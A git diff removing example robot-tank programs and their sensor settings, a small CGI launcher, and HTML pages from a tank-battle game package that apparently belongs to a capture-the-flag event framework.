a/packages/tanks/examples/hard/skirts/sensor8 b/packages/tanks/examples/hard/skirts/sensor8 deleted file mode 100644 index ddfc64e..0000000 --- a/packages/tanks/examples/hard/skirts/sensor8 +++ /dev/null @@ -1 +0,0 @@ -80 270 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor9 b/packages/tanks/examples/hard/skirts/sensor9 deleted file mode 100644 index 9c9b4e8..0000000 --- a/packages/tanks/examples/hard/skirts/sensor9 +++ /dev/null @@ -1 +0,0 @@ -30 180 345 0 diff --git a/packages/tanks/examples/insane/BoomStick/author b/packages/tanks/examples/insane/BoomStick/author deleted file mode 100644 index eefbad4..0000000 --- a/packages/tanks/examples/insane/BoomStick/author +++ /dev/null @@ -1 +0,0 @@ -Adam \ No newline at end of file diff --git a/packages/tanks/examples/insane/BoomStick/color b/packages/tanks/examples/insane/BoomStick/color deleted file mode 100644 index 0cb011e..0000000 --- a/packages/tanks/examples/insane/BoomStick/color +++ /dev/null @@ -1 +0,0 @@ -#7bdd82 \ No newline at end of file diff --git a/packages/tanks/examples/insane/BoomStick/name b/packages/tanks/examples/insane/BoomStick/name deleted file mode 100644 index 0752946..0000000 --- a/packages/tanks/examples/insane/BoomStick/name +++ /dev/null @@ -1 +0,0 @@ -BoomStick \ No newline at end of file diff --git a/packages/tanks/examples/insane/BoomStick/program b/packages/tanks/examples/insane/BoomStick/program deleted file mode 100644 index 9ed449a..0000000 --- a/packages/tanks/examples/insane/BoomStick/program +++ /dev/null @@ -1,56 +0,0 @@ -0 sensor? { 0 0 mset fire! }if - -0 9 mset - -8 sensor? {-36 get-turret + set-turret! 1 9 mset} if -4 sensor? { 36 get-turret + set-turret! 1 9 mset} if -2 sensor? {-18 get-turret + set-turret! 1 9 mset} if -1 sensor? { 18 get-turret + set-turret! 1 9 mset} if -7 sensor? { 0 get-turret + set-turret! 1 9 mset} if - -fire-ready? -{ - 6 sensor? - { - 9 mget ! { 0 set-turret! } if - 100 100 set-speed! 5 0 mset - } - { - 5 sensor? { 100 -80 set-speed! 5 0 mset} if - 8 sensor? { -80 100 set-speed! 5 0 mset } if - } - ifelse -} -{ - 6 sensor? { 1 set-led! -100 -100 set-speed! 3 0 mset } if - 5 sensor? { 1 set-led! -75 -100 set-speed! 3 0 mset } if - 8 sensor? { 1 set-led! -100 -75 set-speed! 3 0 mset } if -} -ifelse - - -0 mget 0 = -{ - 0 set-led! - 0 set-turret! - - 1 mget 0 = - { - 0 set-turret! - 3 random - dup 0 = {90 90 set-speed! 20 random 1 mset } if - dup 1 = {00 90 set-speed! 3 random 1 mset } if - dup 2 = {90 00 set-speed! 3 random 1 mset } if - } - { - 1 mget 1 - 1 mset - } - ifelse -} -{ - 0 mget 1 - 0 mset -} -ifelse - -3 sensor? { -10 -10 set-speed! 1 0 mset } if - diff --git a/packages/tanks/examples/insane/BoomStick/sensor0 b/packages/tanks/examples/insane/BoomStick/sensor0 deleted file mode 100644 index f810184..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 2 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor1 b/packages/tanks/examples/insane/BoomStick/sensor1 deleted file mode 100644 index 5a59710..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 18 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor2 b/packages/tanks/examples/insane/BoomStick/sensor2 deleted file mode 100644 index a409452..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 -18 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor3 b/packages/tanks/examples/insane/BoomStick/sensor3 deleted file mode 100644 index 61d740b..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor3 +++ /dev/null @@ -1 +0,0 @@ -25 0 120 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor4 b/packages/tanks/examples/insane/BoomStick/sensor4 deleted file mode 100644 index 5a39230..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 36 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor5 b/packages/tanks/examples/insane/BoomStick/sensor5 deleted file mode 100644 index a54a843..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 112 135 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor6 b/packages/tanks/examples/insane/BoomStick/sensor6 deleted file mode 100644 index 3b119c4..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 30 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor7 b/packages/tanks/examples/insane/BoomStick/sensor7 deleted file mode 100644 index 6a165df..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor7 +++ /dev/null @@ -1 +0,0 @@ -100 0 18 1 diff --git a/packages/tanks/examples/insane/BoomStick/sensor8 b/packages/tanks/examples/insane/BoomStick/sensor8 deleted file mode 100644 index e7fb35c..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor8 +++ /dev/null @@ -1 +0,0 @@ -100 -112 135 0 diff --git a/packages/tanks/examples/insane/BoomStick/sensor9 b/packages/tanks/examples/insane/BoomStick/sensor9 deleted file mode 100644 index 444de17..0000000 --- a/packages/tanks/examples/insane/BoomStick/sensor9 +++ /dev/null @@ -1 +0,0 @@ -100 -36 18 1 diff --git a/packages/tanks/examples/insane/Combustible/author b/packages/tanks/examples/insane/Combustible/author deleted file mode 100644 index 36352d5..0000000 --- a/packages/tanks/examples/insane/Combustible/author +++ /dev/null @@ -1 +0,0 @@ -mr_combustible@hotmail.com \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/color b/packages/tanks/examples/insane/Combustible/color deleted file mode 100644 index 9d5085c..0000000 --- a/packages/tanks/examples/insane/Combustible/color +++ /dev/null @@ -1 +0,0 @@ -#FF6F00 \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/name b/packages/tanks/examples/insane/Combustible/name deleted file mode 100644 index 35828ff..0000000 --- a/packages/tanks/examples/insane/Combustible/name +++ /dev/null @@ -1 +0,0 @@ -Combustible \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/program b/packages/tanks/examples/insane/Combustible/program deleted file mode 100644 index 9457553..0000000 --- a/packages/tanks/examples/insane/Combustible/program +++ /dev/null @@ -1,14 +0,0 @@ -0 set-turret! ( Rotate turret ) -60 58 set-speed! ( Full speed! ) -0 sensor? { fire! } if ( Fire if turret sensor triggered ) -1 sensor? { 100 -150 set-speed! } if ( Turn if right sensor triggered ) -2 sensor? { -150 100 set-speed! } if ( Turn if left sensor triggered ) -8 sensor? { 90 0 set-speed! } if ( Turn if right/front sensor triggered ) -9 sensor? { 0 90 set-speed! } if ( Turn if left/front sensor triggered ) -3 sensor? { 150 150 set-speed! } if (Front doublespeed) -4 sensor? { 150 150 set-speed! } if ( run away! ) - -7 sensor? { -150 -150 set-speed! } if (Front collision) - -fire-ready? {}{ 5 sensor? {-30 -60 set-speed! } if } ifelse -fire-ready? {}{ 6 sensor? {-60 -30 set-speed! } if } ifelse \ No newline at end of file diff --git a/packages/tanks/examples/insane/Combustible/sensor0 b/packages/tanks/examples/insane/Combustible/sensor0 deleted file mode 100644 index 9246d12..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 2 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor1 b/packages/tanks/examples/insane/Combustible/sensor1 deleted file mode 100644 index e44d621..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 108 130 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor2 b/packages/tanks/examples/insane/Combustible/sensor2 deleted file mode 100644 index c0e8d0c..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 252 130 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor3 b/packages/tanks/examples/insane/Combustible/sensor3 deleted file mode 100644 index 75c424c..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 0 2 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor4 b/packages/tanks/examples/insane/Combustible/sensor4 deleted file mode 100644 index 67bc9c9..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor4 +++ /dev/null @@ -1 +0,0 @@ -90 180 90 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor5 b/packages/tanks/examples/insane/Combustible/sensor5 deleted file mode 100644 index dc649e1..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor5 +++ /dev/null @@ -1 +0,0 @@ -55 90 180 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor6 b/packages/tanks/examples/insane/Combustible/sensor6 deleted file mode 100644 index aece5cf..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor6 +++ /dev/null @@ -1 +0,0 @@ -55 270 180 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor7 b/packages/tanks/examples/insane/Combustible/sensor7 deleted file mode 100644 index c39894c..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor7 +++ /dev/null @@ -1 +0,0 @@ -35 0 180 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor8 b/packages/tanks/examples/insane/Combustible/sensor8 deleted file mode 100644 index df70693..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor8 +++ /dev/null @@ -1 +0,0 @@ -100 34 37 0 diff --git a/packages/tanks/examples/insane/Combustible/sensor9 b/packages/tanks/examples/insane/Combustible/sensor9 deleted file mode 100644 index 1030344..0000000 --- a/packages/tanks/examples/insane/Combustible/sensor9 +++ /dev/null @@ -1 +0,0 @@ -100 326 37 0 diff --git a/packages/tanks/examples/insane/Combustible/sensors b/packages/tanks/examples/insane/Combustible/sensors deleted file mode 100644 index 8151664..0000000 --- a/packages/tanks/examples/insane/Combustible/sensors +++ /dev/null @@ -1,2 +0,0 @@ -50 0 0 1 -70 0 50 0 diff --git a/packages/tanks/examples/insane/clumsy/author b/packages/tanks/examples/insane/clumsy/author deleted file mode 100644 index d48933b..0000000 --- a/packages/tanks/examples/insane/clumsy/author +++ /dev/null @@ -1 +0,0 @@ -Geoff \ No newline at end of file diff --git a/packages/tanks/examples/insane/clumsy/color b/packages/tanks/examples/insane/clumsy/color deleted file mode 100644 index b6f49d0..0000000 --- a/packages/tanks/examples/insane/clumsy/color +++ /dev/null @@ -1 +0,0 @@ -#FFFFFF \ No newline at end of file diff --git a/packages/tanks/examples/insane/clumsy/name b/packages/tanks/examples/insane/clumsy/name deleted file mode 100644 index 225fcb5..0000000 --- a/packages/tanks/examples/insane/clumsy/name +++ /dev/null @@ -1 +0,0 @@ -clumsy \ No newline at end of file diff --git a/packages/tanks/examples/insane/clumsy/program b/packages/tanks/examples/insane/clumsy/program deleted file mode 100644 index 8b2b6a0..0000000 --- a/packages/tanks/examples/insane/clumsy/program +++ /dev/null @@ -1,50 +0,0 @@ -0 sensor?{ - get-turret 0 = { 1 sensor?{ fire! } if } if - - get-turret 17 = { 2 sensor?{ fire! } if } if - get-turret 34 = { 3 sensor?{ fire! } if } if - get-turret 51 = { 4 sensor?{ fire! } if } if - - get-turret -17 = { 5 sensor?{ fire! } if } if - get-turret -34 = { 6 sensor?{ fire! } if } if - get-turret -51 = { 7 sensor?{ fire! } if } if -}if (0) -fire-ready?{ 0 set-led! }{ 1 set-led! } ifelse - -1 sensor?{ 0 set-turret! }{ - 2 sensor?{ 17 set-turret! }{ - 3 sensor?{ 34 set-turret! }{ - 4 sensor?{ 51 set-turret! }{ - 5 sensor?{ -17 set-turret! }{ - 6 sensor?{ -34 set-turret! }{ - 7 sensor?{ -51 set-turret! }{ - 0 set-turret! - }ifelse - }ifelse - }ifelse - }ifelse - }ifelse - }ifelse -}ifelse - -get-turret 0 = { 2 sensor?{ 17 set-turret! }{ 5 sensor?{ -17 set-turret! } if (5) } ifelse (2) } if (0t) -get-turret 17 = { 1 sensor?{ 0 set-turret! }{ 3 sensor?{ 34 set-turret! } if (3) } ifelse (1) } if (17t) -get-turret 34 = { 2 sensor?{ 17 set-turret! }{ 4 sensor?{ 51 set-turret! } if (4) } ifelse (2) } if (34t) -get-turret 51 = { 34 set-turret! } if (51t) - -get-turret -17 = { 1 sensor?{ 0 set-turret! }{ 6 sensor?{ -34 set-turret! } if (6) } ifelse (1) } if (-17t) -get-turret -34 = { 5 sensor?{ -17 set-turret! }{ 7 sensor?{ -51 set-turret! } if (7) } ifelse (5) } if (-34t) -get-turret -51 = { -34 set-turret! } if (51t) - -9 mget 55 = {}{ 0 set-turret! 55 9 mset} ifelse - - 1 sensor?{ 100 1 mset 100 2 mset }{ - 2 sensor?{ 100 1 mset -100 2 mset }{ - 5 sensor?{ -100 1 mset 100 2 mset }{ - 100 1 mset 100 2 mset - } ifelse (5) - } ifelse (2) - } ifelse (1) - - 8 sensor?{ 100 1 mset 100 2 mset } if -1 mget 2 mget set-speed! diff --git a/packages/tanks/examples/insane/clumsy/sensor0 b/packages/tanks/examples/insane/clumsy/sensor0 deleted file mode 100644 index 992184a..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 359 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor1 b/packages/tanks/examples/insane/clumsy/sensor1 deleted file mode 100644 index fed3ae2..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 0 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor2 b/packages/tanks/examples/insane/clumsy/sensor2 deleted file mode 100644 index af9d7fe..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 17 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor3 b/packages/tanks/examples/insane/clumsy/sensor3 deleted file mode 100644 index ac407a7..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 34 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor4 b/packages/tanks/examples/insane/clumsy/sensor4 deleted file mode 100644 index 79e02fb..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 51 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor5 b/packages/tanks/examples/insane/clumsy/sensor5 deleted file mode 100644 index b9270c5..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 -17 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor6 b/packages/tanks/examples/insane/clumsy/sensor6 deleted file mode 100644 index 81d2267..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 -34 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor7 b/packages/tanks/examples/insane/clumsy/sensor7 deleted file mode 100644 index b03447b..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor7 +++ /dev/null @@ -1 +0,0 @@ -100 -51 1 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor8 b/packages/tanks/examples/insane/clumsy/sensor8 deleted file mode 100644 index f805278..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor8 +++ /dev/null @@ -1 +0,0 @@ -75 180 180 0 diff --git a/packages/tanks/examples/insane/clumsy/sensor9 b/packages/tanks/examples/insane/clumsy/sensor9 deleted file mode 100644 index 41008bd..0000000 --- a/packages/tanks/examples/insane/clumsy/sensor9 +++ /dev/null @@ -1 +0,0 @@ -90 180 180 0 diff --git a/packages/tanks/examples/insane/pony/author b/packages/tanks/examples/insane/pony/author deleted file mode 100644 index c137216..0000000 --- a/packages/tanks/examples/insane/pony/author +++ /dev/null @@ -1 +0,0 @@ -F \ No newline at end of file diff --git a/packages/tanks/examples/insane/pony/color b/packages/tanks/examples/insane/pony/color deleted file mode 100644 index 576e1e4..0000000 --- a/packages/tanks/examples/insane/pony/color +++ /dev/null @@ -1 +0,0 @@ -#FF0000 \ No newline at end of file diff --git a/packages/tanks/examples/insane/pony/name b/packages/tanks/examples/insane/pony/name deleted file mode 100644 index 72ff5d8..0000000 --- a/packages/tanks/examples/insane/pony/name +++ /dev/null @@ -1 +0,0 @@ -for pony \ No newline at end of file diff --git a/packages/tanks/examples/insane/pony/program b/packages/tanks/examples/insane/pony/program deleted file mode 100644 index 9ac6e86..0000000 --- a/packages/tanks/examples/insane/pony/program +++ /dev/null @@ -1,78 +0,0 @@ -0 sensor?{ fire! 0 0 mset } if -1 2 mset -1 sensor?{ -6 sensor?{ - fire-ready?{ - 100 100 set-speed! - }{ - -100 -100 set-speed! - } ifelse (fire) - }{ - get-turret 30 > { - get-turret 180 < { - 50 -50 set-speed! get-turret 20 - set-turret! - }{ - -50 50 set-speed! get-turret 20 + set-turret! - } ifelse (180) - }{ - get-turret -30 < { - get-turret -180 > { - -50 50 set-speed! get-turret 20 + set-turret! - }{ - 50 -50 set-speed! get-turret 20 - set-turret! - } ifelse (-180) - }{ - fire-ready?{ - 100 100 set-speed! - }{ - -100 -100 set-speed! - } ifelse (fire) - } ifelse (-30) - } ifelse (30) - } ifelse (6) -} if (1) - -2 sensor?{ get-turret 30 + set-turret! }{ -3 sensor?{ get-turret 30 - set-turret! }{ -4 sensor?{ 50 -50 set-speed! }{ -5 sensor?{ -50 50 set-speed! }{ - - -1 mget 20 > { -100 100 set-speed! -0 set-turret! -0 1 mset - -}{ - -1 mget 1 + 1 mset -} ifelse - -0 2 mset - -} ifelse (5) -} ifelse (4) - -} ifelse (3) -} ifelse (2) - -9 mget 55 = {}{ 55 9 mset 0 0 mset 0 1 mset 60 3 mset 10 4 mset 50 55 set-speed! 0 set-turret! }ifelse (initialisation routine - only executed once) - -2 mget 0 = { - 7 sensor?{ - 100 100 set-speed! - }{ - 8 sensor?{ - 100 -100 set-speed! - }{ - 9 sensor?{ - -100 100 set-speed! - }{ - 3 mget 0 = { 4 mget 0 = { 10 4 mset 60 3 mset 100 100 set-speed! }{ 4 mget 10 = { 50 50 random set-speed! } if 4 mget 1 - 4 mset } ifelse (4m) }{ 3 mget 1 - 3 mset } ifelse (3m) - } ifelse - - } ifelse - } ifelse -} if (mget) - -fire-ready?{}{ 6 sensor? { -100 -100 set-speed! } if } ifelse diff --git a/packages/tanks/examples/insane/pony/sensor0 b/packages/tanks/examples/insane/pony/sensor0 deleted file mode 100644 index ae81fe2..0000000 --- a/packages/tanks/examples/insane/pony/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor1 b/packages/tanks/examples/insane/pony/sensor1 deleted file mode 100644 index 07f5207..0000000 --- a/packages/tanks/examples/insane/pony/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 0 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor2 b/packages/tanks/examples/insane/pony/sensor2 deleted file mode 100644 index c050a62..0000000 --- a/packages/tanks/examples/insane/pony/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 30 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor3 b/packages/tanks/examples/insane/pony/sensor3 deleted file mode 100644 index 0a88d20..0000000 --- a/packages/tanks/examples/insane/pony/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 -30 1 1 diff --git a/packages/tanks/examples/insane/pony/sensor4 b/packages/tanks/examples/insane/pony/sensor4 deleted file mode 100644 index 9e730e6..0000000 --- a/packages/tanks/examples/insane/pony/sensor4 +++ /dev/null @@ -1 +0,0 @@ -100 60 30 0 diff --git a/packages/tanks/examples/insane/pony/sensor5 b/packages/tanks/examples/insane/pony/sensor5 deleted file mode 100644 index bf83607..0000000 --- a/packages/tanks/examples/insane/pony/sensor5 +++ /dev/null @@ -1 +0,0 @@ -100 -60 30 0 diff --git a/packages/tanks/examples/insane/pony/sensor6 b/packages/tanks/examples/insane/pony/sensor6 deleted file mode 100644 index fed3ae2..0000000 --- a/packages/tanks/examples/insane/pony/sensor6 +++ /dev/null @@ -1 +0,0 @@ -100 0 1 0 diff --git a/packages/tanks/examples/insane/pony/sensor7 b/packages/tanks/examples/insane/pony/sensor7 deleted file mode 100644 index 5c56951..0000000 --- a/packages/tanks/examples/insane/pony/sensor7 +++ /dev/null @@ -1 +0,0 @@ -80 180 60 0 diff --git a/packages/tanks/examples/insane/pony/sensor8 b/packages/tanks/examples/insane/pony/sensor8 deleted file mode 100644 index b122373..0000000 --- a/packages/tanks/examples/insane/pony/sensor8 +++ /dev/null @@ -1 +0,0 @@ -80 120 60 0 diff --git a/packages/tanks/examples/insane/pony/sensor9 b/packages/tanks/examples/insane/pony/sensor9 deleted file mode 100644 index 1c594d7..0000000 --- a/packages/tanks/examples/insane/pony/sensor9 +++ /dev/null @@ -1 +0,0 @@ -80 -120 60 0 diff --git a/packages/tanks/examples/insane/sarlacc/author b/packages/tanks/examples/insane/sarlacc/author deleted file mode 100644 index bf11e9d..0000000 --- a/packages/tanks/examples/insane/sarlacc/author +++ /dev/null @@ -1 +0,0 @@ -Nemo \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/color b/packages/tanks/examples/insane/sarlacc/color deleted file mode 100644 index 78d0486..0000000 --- a/packages/tanks/examples/insane/sarlacc/color +++ /dev/null @@ -1 +0,0 @@ -#00FF00 \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/name b/packages/tanks/examples/insane/sarlacc/name deleted file mode 100644 index ff1bdd8..0000000 --- a/packages/tanks/examples/insane/sarlacc/name +++ /dev/null @@ -1 +0,0 @@ -Sarlacc \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/program b/packages/tanks/examples/insane/sarlacc/program deleted file mode 100644 index c76f574..0000000 --- a/packages/tanks/examples/insane/sarlacc/program +++ /dev/null @@ -1,27 +0,0 @@ -99 100 set-speed! ( big circles ) -0 set-led! -0 set-turret! - -2 sensor? { 100 -28 set-speed! } if (outer right) -3 sensor? { -32 100 set-speed! } if (outer left) - -4 sensor? { 100 2 set-speed! } if (middle pincer) -5 sensor? { -2 100 set-speed! } if (middle pincer) - -4 sensor? 2 sensor? & { 50 -48 set-speed! } if (middle right) -5 sensor? 3 sensor? & { -52 50 set-speed! } if (middle left) - -1 sensor? { 100 100 set-speed! } if ( full speed ahead if we have a target ) -fire-ready? { 1 set-led! } { 40 random 10 + 35 random 5 + set-speed! } ifelse (trundle if we can't fire, else show danger LED) - -6 sensor? { 100 -48 set-speed! } if ( inner right ) -7 sensor? { -52 100 set-speed! } if ( inner left ) - -0 sensor? { fire! } if ( Fire if turret sensor triggered ) - -4 sensor? fire-ready? ! & {70 100 set-speed!} if (escape if we can't fire and are close) -5 sensor? fire-ready? ! & {100 70 set-speed!} if (escape if we can't fire and are close) - -8 sensor? 6 sensor? & { -99 -100 set-speed! } if ( front crash avoid ) -8 sensor? 7 sensor? & { -100 -99 set-speed! } if ( front crash avoid ) -9 sensor? { 100 100 set-speed! } if ( rear crash avoid ) \ No newline at end of file diff --git a/packages/tanks/examples/insane/sarlacc/sensor0 b/packages/tanks/examples/insane/sarlacc/sensor0 deleted file mode 100644 index 6cab31b..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor0 +++ /dev/null @@ -1 +0,0 @@ -50 0 3 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor1 b/packages/tanks/examples/insane/sarlacc/sensor1 deleted file mode 100644 index ce8d4d8..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor1 +++ /dev/null @@ -1 +0,0 @@ -100 0 10 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor2 b/packages/tanks/examples/insane/sarlacc/sensor2 deleted file mode 100644 index 20fbb32..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor2 +++ /dev/null @@ -1 +0,0 @@ -100 105 150 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor3 b/packages/tanks/examples/insane/sarlacc/sensor3 deleted file mode 100644 index 44d4eee..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor3 +++ /dev/null @@ -1 +0,0 @@ -100 255 150 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor4 b/packages/tanks/examples/insane/sarlacc/sensor4 deleted file mode 100644 index e05222f..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor4 +++ /dev/null @@ -1 +0,0 @@ -80 100 160 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor5 b/packages/tanks/examples/insane/sarlacc/sensor5 deleted file mode 100644 index 3f6b139..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor5 +++ /dev/null @@ -1 +0,0 @@ -80 260 160 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor6 b/packages/tanks/examples/insane/sarlacc/sensor6 deleted file mode 100644 index 1cb43e1..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor6 +++ /dev/null @@ -1 +0,0 @@ -60 95 170 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor7 b/packages/tanks/examples/insane/sarlacc/sensor7 deleted file mode 100644 index db43bab..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor7 +++ /dev/null @@ -1 +0,0 @@ -60 265 170 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor8 b/packages/tanks/examples/insane/sarlacc/sensor8 deleted file mode 100644 index c73feb0..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor8 +++ /dev/null @@ -1 +0,0 @@ -40 0 180 0 diff --git a/packages/tanks/examples/insane/sarlacc/sensor9 b/packages/tanks/examples/insane/sarlacc/sensor9 deleted file mode 100644 index 31bc932..0000000 --- a/packages/tanks/examples/insane/sarlacc/sensor9 +++ /dev/null @@ -1 +0,0 @@ -40 180 180 0 diff --git a/packages/tanks/html/designer.cgi b/packages/tanks/html/designer.cgi deleted file mode 100755 index 753b2e4..0000000 --- a/packages/tanks/html/designer.cgi +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh - -BASE_PATH=$CTF_BASE/state/tanks/players/; export BASE_PATH -exec $CTF_BASE/packages/tanks/bin/designer.cgi diff --git a/packages/tanks/html/designer.html b/packages/tanks/html/designer.html deleted file mode 100644 index 196f249..0000000 --- a/packages/tanks/html/designer.html +++ /dev/null @@ -1,178 +0,0 @@ - - - - Tank Designer - - - - - - - -

Tank Designer

-

- -
-
- Information - - - - - - - - - - - - - - - - - -
Team hash:
Tank name:
Author: - - (eg. Joe Cool <joe@cool.cc>) -
Color: - - (eg. #c7e148) -
-
- -
- Sensors - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#RangeAngleWidthTurret?
0
1
2
3
4
5
6
7
8
9
-
- -
- Program - -
- - -
- - - - diff --git a/packages/tanks/html/index.html b/packages/tanks/html/index.html deleted file mode 120000 index b1d8680..0000000 --- a/packages/tanks/html/index.html +++ /dev/null @@ -1 +0,0 @@ -summary.html \ No newline at end of file diff --git a/packages/tanks/html/newest.html b/packages/tanks/html/newest.html deleted file mode 100644 index a95fe78..0000000 --- a/packages/tanks/html/newest.html +++ /dev/null @@ -1,30 +0,0 @@ - - - - Tanks - - - - - -